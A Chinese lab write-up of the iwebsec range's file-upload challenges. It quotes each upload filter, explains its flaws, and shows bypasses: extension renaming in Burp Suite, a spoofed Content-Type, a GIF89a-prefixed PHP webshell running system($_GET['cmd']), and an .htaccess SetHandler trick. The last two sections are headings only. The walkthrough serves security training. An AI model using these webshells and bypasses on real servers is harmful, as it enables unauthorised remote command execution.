iwebsec靶场-文件上传漏洞
01-前端JS过滤绕过
1,查看前端代码对文件上传的限制策略
function checkFile() { var file = document.getElementsByName('upfile')[0].value; if (file == null || file == "") { alert("你还没有选择任何文件,不能上传!"); return false; } //定义允许上传的文件类型 var allow_ext = ".jpg|.jpeg|.png|.gif|.bmp|"; //提取上传文件的类型 var ext_name = file.substring(file.lastIndexOf(".")); //alert(ext_name); //alert(ext_name + "|"); //判断上传文件类型是否允许上传 if (allow_ext.indexOf(ext_name + "|") == -1) { var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name; alert(errMsg); return false; } } |
先将木马命令为shell.jpg
然后尝试上传,在burp suite里面给请求包的文件名改回shell.php
然后使用蚁剑进行连接木马,连接成功
02-文件名过滤绕过
文件上传防御逻辑分析
1. 文件类型检测机制
$type = substr($name, strrpos($name, '.')+1); // 获取文件后缀
if($type=="php"){
die("不能上传php文件!");
}
- 检测方式:仅通过文件扩展名判断(取最后一个.后的内容)
致命缺陷:
- 未处理大小写:.PHP、.Php 等可绕过
- 未过滤特殊后缀:.phtml、.php5 等PHP变种可执行
- 未验证文件内容:真实文件类型可通过魔数伪造
2. 安全处理缺失
- 无内容检测:未使用 exif_imagetype() 或 mime_content_type() 验证文件头
- 无重命名机制:使用原始文件名存储,允许危险扩展名
- 无尺寸限制:$size 仅做显示,未做限制
3. 路径处理风险
move_uploaded_file($tmp_name, 'up/'.$name);
- 目录遍历漏洞:若文件名含 ../ 可覆盖系统文件
- 直接访问风险:上传目录 up/ 未设置访问权限控制
1,命名为shell.PHP,尝试上传
文件上传成功,连接链接如下http://192.168.23.130/upload/up/shell.PHP
03-Content-Type过滤绕过
文件上传防御逻辑分析
1. 文件类型检测机制
$type = $upfile["type"]; // 直接使用客户端提供的 MIME 类型
switch ($type) {
case 'image/pjpeg': $okType = true; break;
case 'image/jpeg': $okType = true; break;
case 'image/gif': $okType = true; break;
case 'image/png': $okType = true; break;
}
致命漏洞:
- 完全信任客户端提交的 Content-Type
- 攻击者可通过抓包工具随意修改 MIME 类型
- 未对文件内容进行任何验证
2. 安全防护缺失
- 无扩展名检查:允许 shell.php 伪装成 image/jpeg
- 无文件头验证:未使用 exif_imagetype() 验证实际文件类型
- 无重命名机制:保留原始文件名,允许执行恶意脚本
- 无尺寸限制:未限制上传文件大小
3. 路径处理风险
move_uploaded_file($tmp_name, 'up/'.$name);
- 目录遍历风险:文件名含 ../ 可覆盖系统文件
- 执行权限风险:上传目录未禁止脚本执行
1,直接上传shell.php,然后再直接修改 Content-Type
然后找到上传位置连接一句话木马
http://192.168.23.130/upload/up/shell.php
04-文件头过滤绕过
文件上传防御逻辑分析
1. 核心防御机制
// 文件头验证
if(!exif_imagetype($_FILES['upfile']['tmp_name'])){
die("请上传图片文件!");
}
防御原理:
- 使用 exif_imagetype() 读取文件头魔数(magic bytes)
- 验证是否为有效的图片格式(GIF/JPEG/PNG等)
- 拒绝非图片文件上传
2. 扩展名提取方式
$type=substr($name, strrpos($name, '.')+1); // 获取文件后缀
风险点:
- 仅用于显示,未做安全验证
- 未过滤危险扩展名(如 .php, .phtml)
3. 安全措施缺失
- 无扩展名过滤:允许上传 .php 等可执行扩展名
- 无内容验证:未检查文件完整性或二次渲染
- 无重命名机制:保留原始文件名
- 无权限控制:上传目录未禁用脚本执行
1,首先写一个具有图片文件头的木马,burp suite改请求包内容
GIF89a;<?php system($_GET["cmd"]); ?>
没有文件头就会阻止上传
上传之后,然后连接成功
05-.htaccess文件上传
文件上传防御逻辑分析
1. 核心防御机制
$type = substr($name, strrpos($name, '.')+1); // 获取文件扩展名
if (preg_match('/php/i', $type)) { // 黑名单过滤
die("不能上传php文件!");
}
防御原理:
- 提取文件扩展名(最后一个.后的内容)
- 使用正则 /php/i 匹配扩展名是否包含"php"(不区分大小写)
- 拦截所有包含"php"的扩展名(如 .php, .php5, .phtml)
2. 防御措施的优缺点
优点:
- 拦截常见PHP扩展名变种
- 大小写不敏感匹配(.PHP, .Php等都会被拦截)
致命缺陷:
- 黑名单机制不完整:
- 未覆盖其他可执行扩展名:.htaccess, .phar, .inc
- 未处理特殊扩展名:.php7, .phps, .pht
- 未验证文件内容:
- 允许上传伪装成其他格式的PHP文件(如图片马)
- 路径处理风险:
move_uploaded_file($tmp_name, 'up/'.$name);
- 目录遍历:文件名含../可覆盖系统文件
- 直接上传.htaccess文件可改变服务器行为
关键漏洞:.htaccess 攻击
攻击原理
- 上传特制的 .htaccess 文件
- 修改服务器配置,使特定扩展名文件被当作PHP执行
- 上传伪装成该扩展名的Webshell
攻击步骤
步骤1:上传.htaccess文件
<FilesMatch "shell.xyz ">
SetHandler application/x-httpd-php
</FilesMatch>
- 绕过检测:扩展名.htaccess不含"php" → 通过检查
步骤2:上传Webshell的一句话木马
步骤3:蚁剑连接
06-文件截断上传
07-竞争条件文件上传